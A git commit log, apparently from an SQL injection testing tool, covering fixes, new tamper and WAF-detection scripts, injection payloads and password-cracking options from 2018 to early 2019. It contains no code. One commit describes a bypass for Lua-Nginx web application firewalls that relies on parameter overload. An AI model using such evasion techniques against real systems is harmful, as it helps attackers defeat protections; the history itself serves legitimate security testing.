Compare commits

...
328 Commits
Author SHA1 Message Date
Miroslav Stampar e3134cc965 Final preparation for 1.3 2019-01-05 23:14:28 +01:00
Miroslav Stampar 5957aad738 Update of checksums 2019-01-05 22:58:28 +01:00
Miroslav Stampar 4c4de54ad8 Prepare for 1.3 2019-01-05 21:48:39 +01:00
Miroslav Stampar 590e8ed5ae update_copyright_year() 2019-01-05 21:38:52 +01:00
Miroslav Stampar 12427ff6f8 Minor update 2019-01-05 21:29:59 +01:00
Miroslav Stampar 45d0010323 Most probably solves #3422 2018-12-31 01:20:43 +01:00
Miroslav Stampar e18b41fc82 Fixes #3421 2018-12-31 01:03:40 +01:00
Miroslav Stampar 586c461ae6 Minor patch 2018-12-31 01:01:19 +01:00
Miroslav Stampar c799e794f2 Minor update of modsecurity.py 2018-12-29 20:40:49 +01:00
Miroslav Stampar b31c264a59 Minor update 2018-12-28 20:49:40 +01:00
Miroslav Stampar a569f21ad7 Bug fix (--smoke hasn't tested wrapped functions) 2018-12-28 18:25:56 +01:00
Miroslav Stampar 8092551fa9 Minor refactoring 2018-12-28 18:22:44 +01:00
Miroslav Stampar 83972d405f Trivial text update 2018-12-28 17:54:58 +01:00
Miroslav Stampar de0df99d8e Update regarding #3418 (fallback for MsSQL's --passwords) 2018-12-28 00:41:48 +01:00
Miroslav Stampar ddee027afb Minor message update 2018-12-26 23:23:49 +01:00
Miroslav Stampar 6ce0350abc Fixes #3420 2018-12-26 22:12:13 +01:00
Miroslav Stampar 37de01e993 Fixes #3417 2018-12-23 10:18:27 +01:00
Miroslav Stampar 63cca82288 Fixes #3415 2018-12-23 09:58:04 +01:00
Denis 7d1c2633c9 Add contributed Ukrainian translation (#3414) 2018-12-23 09:24:53 +01:00
Miroslav Stampar 9564c8e8b1 Refactoring regarding casting warnings 2018-12-21 11:29:57 +01:00
Miroslav Stampar 5e099144d3 Minor message update 2018-12-21 10:38:27 +01:00
Miroslav Stampar a007cd30e5 Fixes #3412 2018-12-19 11:11:56 +01:00
Miroslav Stampar 4c9e0b9f1e Adding Bluedon WAF script 2018-12-18 00:35:08 +01:00
Miroslav Stampar 0c3fbc46df Adding Approach WAF script 2018-12-18 00:08:56 +01:00
Miroslav Stampar 107d9f90ad Minor message update 2018-12-17 23:41:04 +01:00
Miroslav Stampar daafe9b74a Bug fix (OR boolean based blind caused trouble to UNION with negative logic) 2018-12-17 23:25:23 +01:00
Miroslav Stampar 9727f0d691 Minor patch (--parse-errors with lots of HTML inside) 2018-12-17 22:49:09 +01:00
Miroslav Stampar 61e0459ec8 Minor update 2018-12-17 17:48:22 +01:00
Miroslav Stampar c5802a5367 Minor update related to the last commit 2018-12-17 17:43:11 +01:00
Miroslav Stampar 01d5da18e3 Adding experimental option --crack 2018-12-17 17:38:47 +01:00
Miroslav Stampar b288bfdbc3 Minor update 2018-12-17 17:03:51 +01:00
Miroslav Stampar 1e508547d8 Trivial console output update 2018-12-17 16:08:14 +01:00
Miroslav Stampar 4fe4c582c1 Minor output adjustments 2018-12-17 15:15:54 +01:00
Miroslav Stampar 28e7c8f378 Refactoring KeyboardInterrupt mess 2018-12-17 15:00:57 +01:00
Miroslav Stampar c497aa98ed Minor TCP optimization 2018-12-17 14:19:59 +01:00
Miroslav Stampar 4ba9e9397c One more update of DBMS error messages 2018-12-16 16:24:01 +01:00
Miroslav Stampar eedfa8c888 Another update of DBMS error messages 2018-12-16 16:00:04 +01:00
Miroslav Stampar c224ea0e37 Update of DBMS error messages 2018-12-16 15:20:46 +01:00
Miroslav Stampar f544554475 Bug fix (--forms with --url without protocol) 2018-12-16 02:56:31 +01:00
Miroslav Stampar c7c7e30130 Potential patch for #3374 2018-12-14 10:45:42 +01:00
Miroslav Stampar d1426a023f Fixes #3408 2018-12-14 10:09:40 +01:00
nil0x42 83a1b9b2e7 errors.xml: detect mysqli_*() errors. (#3407)
MySQL injection error message often happen with
mysqli_*() functions nowadays.
POC: https://duckduckgo.com/?q=%22warning..mysqli
2018-12-14 10:08:52 +01:00
Miroslav Stampar 38684ec220 Fixes #3403 2018-12-11 13:28:51 +01:00
Miroslav Stampar 2e5edce8b9 Fixes #3399 2018-12-10 15:22:53 +01:00
Miroslav Stampar a02662f03f Trivial cleanup 2018-12-10 14:53:53 +01:00
Miroslav Stampar 2c95b65eac Implementation for #2552 (sorry @mg98) 2018-12-10 14:53:11 +01:00
Miroslav Stampar e47c1aa61b Resolving some more hooking problems 2018-12-10 13:21:36 +01:00
Miroslav Stampar f81062d595 Resolving some more hooking problems 2018-12-10 13:20:34 +01:00
Miroslav Stampar ef911b6be4 Dummy commit (just to test hooks) 2018-12-10 13:10:01 +01:00
Miroslav Stampar 4f1b0787ed Commit hooks were disabled 2018-12-10 13:04:53 +01:00
Miroslav Stampar 070e173067 Another patch for #3389 (Fixes #3397) 2018-12-10 12:59:13 +01:00
Miroslav Stampar f04584bb68 Update of error message regexes 2018-12-07 11:22:53 +01:00
Miroslav Stampar 66d26f67bf Manual tagging (automatic tagging failed for some reason) 2018-12-07 10:06:31 +01:00
Miroslav Stampar 101d1f0d49 Fixes #3395 2018-12-03 23:18:52 +01:00
Miroslav Stampar 843126702d Fixes #3392 2018-12-03 23:12:45 +01:00
Miroslav Stampar 65f227fe65 Bug fix (privately reported: --technique=E --where='id=1') 2018-12-03 23:07:13 +01:00
Miroslav Stampar 536d9a597e Minor language update 2018-12-03 22:59:46 +01:00
Miroslav Stampar 0ce2128a9b Fixes #3394 2018-12-03 22:40:44 +01:00
Miroslav Stampar e7ed2bbcbb Fixes #3391) 2018-11-30 11:29:17 +01:00
Miroslav Stampar 560ff4154b Fixes #3388 (and refactors #1578) 2018-11-29 00:09:05 +01:00
Miroslav Stampar 1d0d5f1675 Fixes #3389 2018-11-28 23:09:13 +01:00
Miroslav Stampar f1a3c81aec Bug fix for handling of custom headers 2018-11-28 00:29:17 +01:00
Miroslav Stampar 277a4fa402 Potential patch for #3167 2018-11-26 23:40:47 +01:00
Miroslav Stampar 037db0f4a0 Fixes #3381 2018-11-23 15:55:05 +01:00
Miroslav Stampar 3f1bf742fc Fixes #3379 2018-11-22 08:07:27 +01:00
Miroslav Stampar abb911d741 Just for the sake of #3377 2018-11-19 09:53:09 +01:00
Miroslav Stampar dc5edf1a86 Patch regarding #3377 2018-11-19 09:52:09 +01:00
Miroslav Stampar e11febdcbc Fixes #3375 2018-11-19 09:44:13 +01:00
Miroslav Stampar f2af8861f9 Some more updates regarding #3140 2018-11-15 17:13:13 +01:00
Miroslav Stampar 2895e5c20f Initial commit for #3140 2018-11-15 15:27:17 +01:00
Miroslav Stampar b1e8c75672 Update README.md 2018-11-14 12:59:40 +01:00
Miroslav Stampar 6cc52cc12a Fixes #3366 2018-11-12 14:07:41 +01:00
Miroslav Stampar ddf353b86e Fixes #3357 2018-11-04 14:36:38 +01:00
Miroslav Stampar e6535d359d Update related to the #3358 2018-11-04 14:17:53 +01:00
Miroslav Stampar 90e381a5a5 Another update related to the #3356 2018-11-02 16:18:08 +01:00
Miroslav Stampar e99e9919cd Update related to the #3356 2018-11-02 15:44:44 +01:00
Miroslav Stampar dbdfbcc425 Adding dates to the start/end time 2018-11-01 22:59:20 +01:00
Miroslav Stampar 1d6832a84a Cosmetic update (not patch) related to the #3354 2018-11-01 22:41:33 +01:00
Miroslav Stampar 73d83280fe Minor patch (bounded injection case with leftover marker) 2018-11-01 22:24:36 +01:00
Miroslav Stampar 1bd8c519c3 Minor just in case update 2018-10-30 15:41:39 +01:00
Miroslav Stampar a4fdbf1343 Patch related to the #3348 2018-10-30 11:13:09 +01:00
Miroslav Stampar 130879fbf3 Minor patches 2018-10-30 10:37:39 +01:00
Miroslav Stampar db5ae9ae0b Minor update to #3326 (adding generic code >= 400) 2018-10-29 09:55:14 +01:00
Syed Afzal cc4833429f added china cache (#3326) 2018-10-29 09:51:18 +01:00
Miroslav Stampar 703b7079a4 Fixes #3319 2018-10-27 14:30:28 +02:00
Miroslav Stampar ef52ee977f Minor patch 2018-10-27 14:14:21 +02:00
Miroslav Stampar ba1b4c50be Trivial cleanup 2018-10-26 23:40:08 +02:00
Miroslav Stampar 1e7dfe11b4 Fixes #3318 2018-10-26 23:38:37 +02:00
Miroslav Stampar 92febd22a8 Minor update 2018-10-26 23:01:19 +02:00
Miroslav Stampar 83081b5e14 Minor patch related to the #3316 2018-10-26 14:00:51 +02:00
Miroslav Stampar f2035145fe Another update related to the #3316 2018-10-26 12:10:22 +02:00
Miroslav Stampar 48b407c0fa Updates regarding the #3316 2018-10-26 12:09:21 +02:00
Jennifer Torres 4466504f30 Lua-Nginx WAFs Bypass (#3316)
* Lua-Nginx WAFs Bypass

Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
https://www.youtube.com/watch?v=JUvro7cqidY

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

Update header.

* Update luanginxwafbypass.py
2018-10-26 12:04:37 +02:00
Miroslav Stampar dc65afe65a Minor update related to the #3283 2018-10-24 16:33:23 +02:00
Miroslav Stampar 132e963b53 More general TypeMismatchException (for Hibernate too) 2018-10-24 15:12:13 +02:00
Miroslav Stampar f52beff7c3 Minor patch to handle late ImportError reports 2018-10-22 11:21:30 +02:00
Miroslav Stampar feb93dce44 Update related to the #3304 2018-10-17 12:24:52 +02:00
Miroslav Stampar e52422900e Fixes #3303 2018-10-16 19:37:27 +02:00
Miroslav Stampar c045afd842 Minor cleanup 2018-10-16 14:53:41 +02:00
Miroslav Stampar 0d2db32539 Finalizing #3283 2018-10-16 14:47:09 +02:00
Miroslav Stampar 77f4fd93e7 Minor leftover 2018-10-16 13:27:31 +02:00
Miroslav Stampar 68f5597b4a Some cleaning up for #3283 2018-10-16 13:26:55 +02:00
Miroslav Stampar 411f56e710 Initial implementation for #3283 2018-10-16 12:23:07 +02:00
Miroslav Stampar fb95ab8c17 Initial commit for #3283 (fixing H2 misidentification with PgSQL and/or HSQLDB) 2018-10-16 08:02:38 +02:00
Miroslav Stampar 9f6e04b141 Minor update of help text 2018-10-15 02:15:05 +02:00
Miroslav Stampar 1f2bdf5a3d Trivial message update 2018-10-15 00:56:23 +02:00
Miroslav Stampar 465a1e1a86 Minor update 2018-10-15 00:53:26 +02:00
Miroslav Stampar 6af127cb64 Fixes #3286 2018-10-14 22:17:10 +02:00
Miroslav Stampar 880d438418 Fixes #3284 2018-10-12 00:29:43 +02:00
Miroslav Stampar 5efe3228f8 Patch related to the #3282 2018-10-12 00:16:42 +02:00
Miroslav Stampar e005ba3f77 Minor patch 2018-10-11 23:59:09 +02:00
Miroslav Stampar f2b4dc3ffc Fixes #3275 2018-10-08 23:34:55 +02:00
Miroslav Stampar d1022f3f59 Fixes #3246 2018-10-04 13:51:41 +02:00
Miroslav Stampar 3984b94297 Fixes #3271 2018-10-04 13:42:13 +02:00
Miroslav Stampar eba01ee74e Just in case patch (for --api) 2018-10-03 12:46:40 +02:00
Miroslav Stampar 36b660309b Minor patch 2018-10-03 12:28:55 +02:00
Miroslav Stampar fd89fdf40b Minor cleaning up 2018-10-03 11:27:51 +02:00
Miroslav Stampar 2e53096962 Fixes #3268 2018-10-03 11:02:13 +02:00
Miroslav Stampar 79e45bd8d7 Minor update 2018-10-02 15:10:31 +02:00
Miroslav Stampar ed5f4abebd Minor updates 2018-10-02 14:56:20 +02:00
Miroslav Stampar 03bbfdbc56 Can't work out of the box (too many unknowns) 2018-10-02 14:11:26 +02:00
Miroslav Stampar 1b6365b195 Minor cleanup 2018-10-02 14:07:14 +02:00
Miroslav Stampar d38a0542d8 Minor update 2018-10-02 13:48:39 +02:00
Miroslav Stampar 9182b90b2b Removing an obsolete utility 2018-10-02 12:58:25 +02:00
Miroslav Stampar 80af22435a Update README.md 2018-10-02 12:21:29 +02:00
Miroslav Stampar 065c5e8157 Fixes #3264 2018-09-29 23:10:03 +02:00
Miroslav Stampar 932aa8dd94 Fixes #3262 2018-09-28 13:12:21 +02:00
Miroslav Stampar 71208e891c Update regarding #3258 2018-09-27 09:15:53 +02:00
Miroslav Stampar 3b369920a1 Minor patch related to the #3257 2018-09-26 15:33:34 +02:00
Miroslav Stampar 68a83098ab Update of THANKS (based on 2017 donation) 2018-09-25 14:06:32 +02:00
Miroslav Stampar f4a0820dcb Merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) 2018-09-24 14:00:58 +02:00
Miroslav Stampar 459e1dd9a4 Update related to the #3252 2018-09-24 10:26:27 +02:00
Miroslav Stampar 4b698748f7 Fixes #3247 2018-09-21 23:25:25 +02:00
Miroslav Stampar e697354765 Fixing non-resumal of MsSQL/Sybase/MaxDB enumeration queries 2018-09-21 23:06:45 +02:00
Miroslav Stampar 721046831b Minor patch 2018-09-21 22:15:29 +02:00
Miroslav Stampar a4068f9abf Minor update 2018-09-20 16:52:02 +02:00
Miroslav Stampar 245c5e64e9 Minor cleanup 2018-09-19 11:13:59 +02:00
Miroslav Stampar cd08d13647 Adding a generic parameter replace payload 2018-09-19 11:05:55 +02:00
Miroslav Stampar 8abae02111 Improvement of anti-CSRF token extraction 2018-09-18 22:05:52 +02:00
Miroslav Stampar dd9bfd13f2 Trivial update 2018-09-18 17:03:27 +02:00
Miroslav Stampar 0c7eecee9f Trivial update (message language) 2018-09-18 16:52:17 +02:00
Miroslav Stampar 3e72da66f9 Minor update (preventing WAF specific response reports on generic 403) 2018-09-18 16:45:08 +02:00
Miroslav Stampar ca9a56c0ff Minor update of WebKnight WAF script 2018-09-15 23:27:24 +02:00
Miroslav Stampar 2d2b20344d Minor patch for bigip WAF script 2018-09-15 23:17:32 +02:00
Miroslav Stampar a8a7dee800 Fixes #3239 2018-09-15 21:36:21 +02:00
Miroslav Stampar 35d9ed8476 Cleaning a mess with stacked queries and pre-WHERE boundaries 2018-09-14 10:30:58 +02:00
Miroslav Stampar a5e3dce26f Proper naming 2018-09-14 10:01:31 +02:00
Miroslav Stampar 71448b1c16 Minor refactoring 2018-09-14 09:45:04 +02:00
Miroslav Stampar a633bc7f32 Trivial cleanup 2018-09-13 11:41:19 +02:00
Miroslav Stampar 6697e49f75 Adding aesecure and crawlprotect WAF scripts 2018-09-13 11:09:32 +02:00
xxbing db8bcd1d2e update xforwarder tamper (#3236) 2018-09-13 10:50:58 +02:00
Miroslav Stampar 16c052ef13 Fixes #3234 (user entered input) 2018-09-12 14:39:07 +02:00
Miroslav Stampar a8c0722631 Minor update regarding #3230 2018-09-10 12:43:59 +02:00
Miroslav Stampar c9a73aeed1 Minor patch for #3226 2018-09-10 11:51:00 +02:00
Miroslav Stampar 470b68a83c Implementation for Issue #3226 2018-09-10 11:47:19 +02:00
Miroslav Stampar f01ae291f8 Update related to the #3231 2018-09-10 10:27:28 +02:00
Ehsan Nezami c36749c3bb add u_pass to columns (#3231) 2018-09-10 10:26:28 +02:00
Miroslav Stampar 63b84c31e5 Update regarding the #3229 2018-09-08 23:36:08 +02:00
Miroslav Stampar ec253dd5bd Support for table name retrieval from mysql.innodb_table_stats (fallback if primary fails) 2018-09-07 11:53:43 +02:00
Miroslav Stampar 4c25a20efc Docstring update and smalldict update (merge with top1575) 2018-09-07 11:23:47 +02:00
Miroslav Stampar 2b56bdfaa6 Patch for MsSQL column name injection 2018-09-06 13:59:07 +02:00
Miroslav Stampar c37014b8e8 Implementation for an Issue #647 2018-09-06 00:59:29 +02:00
Miroslav Stampar 349e9b9fa5 Minor commit related to the #120 2018-09-06 00:16:59 +02:00
Miroslav Stampar ac481492c0 Final commit for #120 2018-09-05 23:29:52 +02:00
Miroslav Stampar 91c5151770 Another update related to the #120 2018-09-05 00:56:39 +02:00
Miroslav Stampar ad5a731999 First commit for Issue #120 2018-09-05 00:16:35 +02:00
Miroslav Stampar 95be19a692 Minor update 2018-09-05 00:15:15 +02:00
Miroslav Stampar dbcf030743 Accepting even dummy (e.g.) 'y' for --answers 2018-09-04 23:30:58 +02:00
Miroslav Stampar fa3f3baf1e Minor update 2018-09-04 23:24:40 +02:00
Miroslav Stampar f125f64a80 Minor style update (marker for empty cracked password) 2018-09-04 23:14:25 +02:00
Miroslav Stampar 12012b36b1 Automatic disabling of socket-preconnect for known problematic server (SimpleHTTPServer) 2018-09-04 23:01:17 +02:00
Miroslav Stampar 43c9e21c56 Performance improvement and reducing number of false-positives in heavily dynamic pages 2018-09-04 22:39:07 +02:00
Miroslav Stampar a831865633 Further narrowing down cloudfront WAF script (less FP on detection) 2018-08-30 17:44:37 +02:00
Miroslav Stampar 578c41f6de Fine tuning Incapsula WAF script 2018-08-30 16:49:06 +02:00
Miroslav Stampar dc01f2e773 Fine tuning of Cloudfrount WAF script (less FP) 2018-08-30 16:42:35 +02:00
Miroslav Stampar db327a8538 Minor update of WAF scripts 2018-08-30 16:19:31 +02:00
Miroslav Stampar aefb815064 Cutting down FP on Varnish WAF (ignoring Varnish Cache) 2018-08-30 16:02:27 +02:00
Miroslav Stampar 014978cebc Fine tuning Cloudflare WAF script 2018-08-30 16:00:40 +02:00
Miroslav Stampar 287371337d Update of ZENEDGE WAF script 2018-08-30 15:56:13 +02:00
Miroslav Stampar 62a3618353 Minor patches 2018-08-30 15:50:17 +02:00
Miroslav Stampar 366a3f9336 Detect redirect from stdout 2018-08-30 15:21:46 +02:00
Miroslav Stampar 74d2b60cf3 Minor colorization of WAF Detectify 2018-08-30 15:18:42 +02:00
Miroslav Stampar 9e892e93f3 Created a WAF Detectify utility 2018-08-30 14:54:15 +02:00
Miroslav Stampar 0bbf5f9467 Update of dotDefender WAF script 2018-08-29 12:21:33 +02:00
Miroslav Stampar 8be4b29fd1 Update of Incapsula WAF script 2018-08-29 12:13:22 +02:00
Miroslav Stampar 0507234add Minor update 2018-08-29 11:06:45 +02:00
Miroslav Stampar c3d9a1c2d4 Airlock also uses AL_SESS-S cookie 2018-08-29 10:56:24 +02:00
Miroslav Stampar 9e8b28be7c Minor patch (e.g. case: user's) 2018-08-28 14:33:48 +02:00
Miroslav Stampar f3f4a4cb37 Minor refactoring 2018-08-28 14:31:20 +02:00
Miroslav Stampar 2280f3ff2d Updating old links 2018-08-28 14:13:48 +02:00
Miroslav Stampar d6cf038e48 Fixes #3216 2018-08-25 22:57:49 +02:00
Miroslav Stampar 2dfc383700 Fixes #3215 2018-08-22 17:58:00 +02:00
Miroslav Stampar f20e7b403a Fixes #3211 2018-08-22 10:41:43 +02:00
Miroslav Stampar 36e62fe8a7 Minor update 2018-08-22 10:20:26 +02:00
Miroslav Stampar 2542b6d241 Minor patch (https version of site is not available) 2018-08-20 19:44:25 +02:00
Miroslav Stampar bc13d8923b Adding long_description to PyPI upload script 2018-08-20 19:43:27 +02:00
Miroslav Stampar e51db6b355 Update README.md 2018-08-20 19:33:19 +02:00
Miroslav Stampar 6d28ca1f93 Bug fix (single-quoted strings in long results caused line breaks) 2018-08-18 00:02:39 +02:00
Miroslav Stampar 03e4741a69 Trivial patch (display of used user queries) 2018-08-17 19:45:34 +02:00
Miroslav Stampar b899ab9eb3 Bug fix (sha-256,sha384... were recognized, though, not cracked) 2018-08-13 15:27:08 +02:00
Miroslav Stampar 2e017eee99 Fixes #3203 2018-08-10 14:16:27 +02:00
Miroslav Stampar a296d22195 Fixes #3205 2018-08-10 14:01:55 +02:00
Miroslav Stampar ad11749b15 One more payload (requires usage of --code or similar) 2018-08-09 16:21:35 +02:00
Miroslav Stampar 75a64245c5 Minor patch for colorization (multiple quoted strings in same line) 2018-08-09 16:21:04 +02:00
Miroslav Stampar 9e00202823 Minor patch (use redirection code for comparison) 2018-08-09 15:39:37 +02:00
Miroslav Stampar df977d93d4 Fixes #3204 2018-08-09 15:08:21 +02:00
Miroslav Stampar b0ca52086a Fixes #3202 2018-08-07 23:35:58 +02:00
Miroslav Stampar af89137f2c Update of WAF scripts 2018-08-05 14:19:27 +02:00
Miroslav Stampar 1f9bf587b5 Implementation for an Issue #3108 2018-07-31 02:18:33 +02:00
Miroslav Stampar f0e4c20004 First commit related to the #3108 2018-07-31 01:17:11 +02:00
Miroslav Stampar cef416559a Minor update 2018-07-31 00:20:52 +02:00
Miroslav Stampar ce47b6c76e Minor patch 2018-07-27 01:39:04 +02:00
Miroslav Stampar 39108bc100 Trivial refactoring of unused variables 2018-07-27 00:59:24 +02:00
Miroslav Stampar f63ceaa0c1 Minor refactoring 2018-07-27 00:53:14 +02:00
Miroslav Stampar 1e60378fb2 Minor refactoring 2018-07-27 00:30:30 +02:00
Miroslav Stampar 22c7bc54b4 Minor patch 2018-07-27 00:01:23 +02:00
Miroslav Stampar 5f1bae86b0 Fixes #3194 2018-07-19 18:00:56 +02:00
Miroslav Stampar a0cbf6991d Minor style update 2018-07-18 17:00:34 +02:00
Miroslav Stampar 9f2bc00426 Minor patch 2018-07-18 16:30:59 +02:00
Miroslav Stampar 6bb486c1bf Potential patch for #3192 2018-07-18 15:34:38 +02:00
Miroslav Stampar 741ce9e3f0 Trivial update (just to reset checksums) 2018-07-15 16:08:01 +02:00
Anastasios Stasinopoulos a479655097 Minor patch (--purge instead of --purge-output) (#3188) 2018-07-15 11:28:34 +02:00
Miroslav Stampar 4846d85ccd Pre-fetching latest revision number in case of update 2018-07-11 19:30:14 +02:00
Miroslav Stampar 3c439c3929 Known cause of majority of false-positives (Issue #3176) 2018-07-11 16:12:57 +02:00
Miroslav Stampar 5cc36a5736 Revert of last commit (Fixes #3179) 2018-07-10 15:54:06 +02:00
Miroslav Stampar 29dcdd3bef Potential patch for #3178 2018-07-10 15:35:07 +02:00
Miroslav Stampar 53eadb0af8 Fixes #3173 2018-07-09 12:22:51 +02:00
Miroslav Stampar 7b705b94e3 Fixes #3171 2018-07-09 12:20:18 +02:00
Miroslav Stampar 558484644a Minor refactoring 2018-07-06 16:22:19 +02:00
Miroslav Stampar e84142b6a9 Fixes #3172 2018-07-06 16:18:04 +02:00
Miroslav Stampar b44551230e Fixes #3165 2018-07-05 15:13:51 +02:00
Miroslav Stampar 4ecf6eee05 Minor style update 2018-07-05 14:21:32 +02:00
Miroslav Stampar 57be1856a6 Where things could go kaboom (changing terminal coloring) 2018-07-05 14:01:43 +02:00
Miroslav Stampar a424e4ab59 Fixes #3168 2018-07-02 13:09:25 +02:00
Miroslav Stampar 4660b816d5 Minor patch (fallback for masking of sensitive data) 2018-07-02 11:54:12 +02:00
Miroslav Stampar f92e1ebc40 Another trivial style update 2018-07-02 11:47:47 +02:00
Miroslav Stampar 48cd0421a6 Trivial style update 2018-07-02 11:41:36 +02:00
Miroslav Stampar 4b4f728d8e Updated MySQL active fingerprint payloads 2018-07-02 10:58:25 +02:00
Miroslav Stampar e8336ecfe1 Fix of a pesky often 'statistical model' retrieval 2018-06-29 23:57:20 +02:00
Miroslav Stampar 38ea0686a8 Minor patch (Issue #3149) 2018-06-29 22:48:43 +02:00
Miroslav Stampar 73b0de67b5 Fixes #3149 2018-06-29 22:37:57 +02:00
Miroslav Stampar fae97b3937 Another patch for #3164 2018-06-29 16:34:16 +02:00
Miroslav Stampar c0947846f4 Patch for #3164 2018-06-29 16:33:17 +02:00
Miroslav Stampar 5e2d0bd320 Minor patches (--purge instead of --purge-output) 2018-06-20 23:52:08 +02:00
Miroslav Stampar 4badb54607 Couple of small patches 2018-06-20 23:21:55 +02:00
Miroslav Stampar 29aaec8925 First part of checksum cleanup 2018-06-20 23:09:23 +02:00
Miroslav Stampar 27ff5d6fec Implementation of #3156 2018-06-20 23:04:58 +02:00
Miroslav Stampar 72ff6e24ff Minor wording update 2018-06-20 17:15:35 +02:00
Miroslav Stampar 717c451b8c Trivial style update 2018-06-20 15:21:42 +02:00
Miroslav Stampar e5968cae31 Fixes --profile 2018-06-20 13:51:03 +02:00
Miroslav Stampar 2b55ae3e2a Minor just in case update 2018-06-20 13:06:56 +02:00
Miroslav Stampar 8f4488d608 Minor patches related to the #739 2018-06-20 00:08:55 +02:00
Miroslav Stampar f1254fef4b Finalizes implementation for #739 2018-06-19 16:39:10 +02:00
Miroslav Stampar ccda26a567 Minor commit regarding #739 2018-06-19 16:23:17 +02:00
Miroslav Stampar 099110bc1f Minor commit regarding #739 2018-06-19 16:14:44 +02:00
Miroslav Stampar 0265b3fcfa Second commit regarding #739 2018-06-19 16:11:49 +02:00
Miroslav Stampar 961d2b24d1 First commit regarding #739 2018-06-19 16:08:38 +02:00
Miroslav Stampar 53578bcb7c Generic patch related to the #3153 2018-06-19 14:56:39 +02:00
Miroslav Stampar 756f02fb0e Fixes #3150 2018-06-15 14:22:24 +02:00
Miroslav Stampar 17c170e1f8 Fixes #3148 2018-06-13 23:51:09 +02:00
Miroslav Stampar 220c1be162 Fixes #3144 2018-06-12 23:02:38 +02:00
Miroslav Stampar 6b06332896 Fixes #3145 2018-06-12 22:45:16 +02:00
Miroslav Stampar c268663bd9 Minor code style updates 2018-06-09 23:38:00 +02:00
Miroslav Stampar a97fd1dede Fixes #3142 2018-06-09 22:59:08 +02:00
Miroslav Stampar b93284530e Patch related to the #3139 2018-06-08 15:13:50 +02:00
Miroslav Stampar cf4c263a4e Minor patch 2018-06-08 14:45:15 +02:00
Miroslav Stampar 23777143b6 Update related to the #3137 2018-06-07 10:07:12 +02:00
Miroslav Stampar 9b397f00be Minor refactoring 2018-06-07 01:28:02 +02:00
Miroslav Stampar d47c16e196 Minor refactoring 2018-06-07 00:55:32 +02:00
Miroslav Stampar e0c7b5c63c Minor wording update 2018-06-07 00:46:54 +02:00
Miroslav Stampar 091c8ab2dd Minor update (switching --invalid-logical to LIKE version) 2018-06-07 00:37:22 +02:00
Miroslav Stampar 86303bde55 Trivial update (wording) 2018-06-07 00:24:29 +02:00
Miroslav Stampar c89f119e1a Minor update 2018-06-05 01:12:50 +02:00
Miroslav Stampar 25369ca591 Adding new payload (HAVING boolean-based blind) 2018-06-05 00:59:47 +02:00
Miroslav Stampar a399b65033 Trivial update 2018-06-05 00:20:37 +02:00
Miroslav Stampar ed37ae1562 Adding new WAF script (Cloudbric) 2018-06-05 00:05:17 +02:00
Miroslav Stampar 5381d4d5be Minor update 2018-06-04 23:33:07 +02:00
Miroslav Stampar c1825b2651 Patch for #3130 2018-06-01 11:23:41 +02:00
Miroslav Stampar e7d448c56c Minor update regarding #3129 2018-06-01 10:21:59 +02:00
Miroslav Stampar 694b5bb5c0 New tamper script (per user request) 2018-05-30 15:48:16 +02:00
Miroslav Stampar eb498e6c03 Fixes #2819 2018-05-29 14:54:43 +02:00
Miroslav Stampar ca8b589d43 Fixes #3122 (by reverting 6c4e9ae427) 2018-05-29 14:26:31 +02:00
Miroslav Stampar 18706f7fad Minor patch for unhandled exception reports 2018-05-28 11:29:06 +02:00
Miroslav Stampar 80f3b9a711 Minor worflow change in case of unhandled exceptions (disregard --batch) 2018-05-28 11:10:42 +02:00
Miroslav Stampar 6b3f01bfeb Minor patch 2018-05-28 11:07:06 +02:00
Miroslav Stampar 42042fb5de Removing encoding report part (enough time has been passed to collect major problems) 2018-05-24 10:41:20 +02:00
Miroslav Stampar 2abc7fc588 Update related to the #3116 (consistency patch) 2018-05-24 10:13:13 +02:00
German 1ecc326714 Russian localization readme (#3116)
* add russian doc readme

* add link head readme
2018-05-24 10:11:09 +02:00
Miroslav Stampar d2d829abf5 Patch related to the #3117 2018-05-24 10:07:35 +02:00
Miroslav Stampar 43d9ac2bd4 Patch related to the #3101 2018-05-21 23:44:21 +02:00
Miroslav Stampar d8196cf7e6 Fixes #3110 2018-05-21 23:17:32 +02:00
Miroslav Stampar 42b0edca6d Fixes #3109 2018-05-19 12:35:39 +02:00
Miroslav Stampar 331ccc5549 Fixes #3100 2018-05-17 23:07:52 +02:00
Miroslav Stampar d5627fdf1b Fixes #3099 2018-05-15 12:15:47 +02:00
Miroslav Stampar 7b3a17bfe7 Patch for #3068 2018-05-09 13:38:39 +02:00
Miroslav Stampar 4a8f01c9dc Minor updates 2018-05-08 14:06:34 +02:00
Miroslav Stampar 13bf3e649a Trivial refactoring 2018-05-08 12:09:24 +02:00
Miroslav Stampar 9a63fb1055 Trivial refactoring 2018-05-08 11:59:56 +02:00
Miroslav Stampar 3544793961 Fixes #3088 2018-05-07 10:48:35 +02:00
Miroslav Stampar 7a8add0412 Update regarding #3068 2018-05-05 14:49:35 +02:00
Miroslav Stampar 1d382bcb4d Fixes #3086 2018-05-05 14:33:00 +02:00
Miroslav Stampar ec6ad3ce68 Bug fix (non-digit --union-char has not been working properly) 2018-05-05 14:22:06 +02:00
Miroslav Stampar 73d8952f2a Potential patch for #3084 2018-05-04 16:29:36 +02:00
Miroslav Stampar 2a810fb796 Trivial modifications (thou shalt not judge people by trivial commits) 2018-05-03 14:10:55 +02:00
Miroslav Stampar 8f7a7bed20 Minor patch 2018-05-03 13:31:27 +02:00
Miroslav Stampar 36b0ece2ad Minor message update 2018-04-30 11:02:01 +02:00
Miroslav Stampar 7d8fbab035 Fixes #3069 2018-04-26 18:56:17 +02:00
Miroslav Stampar 5580db0045 Fixes #3067 2018-04-24 19:52:12 +02:00
Miroslav Stampar 3fde205cd4 Generic patch for #2886 (cause still unknown) 2018-04-24 19:45:53 +02:00
Miroslav Stampar 1822cc05f6 Patch for #3060 2018-04-22 01:12:56 +02:00
Miroslav Stampar 509bb41b06 Adding (hidden) switch '--force-pivoting' (Issue #3032) 2018-04-17 17:08:57 +02:00
Miroslav Stampar 8ca3287df4 Proper way to skip already used payloads (important to --suffix/--prefix cases) 2018-04-12 14:38:32 +02:00
Miroslav Stampar 60767de2eb Patching issue that got into with patch for #2934 (ORDER BY was unusable in majority of regular cases) 2018-04-12 12:25:37 +02:00
Miroslav Stampar 29e683fb5b Skip prepending CR to readInput messages if in non-TTY mode (ugly looking in Linux text editors) 2018-04-12 11:33:23 +02:00
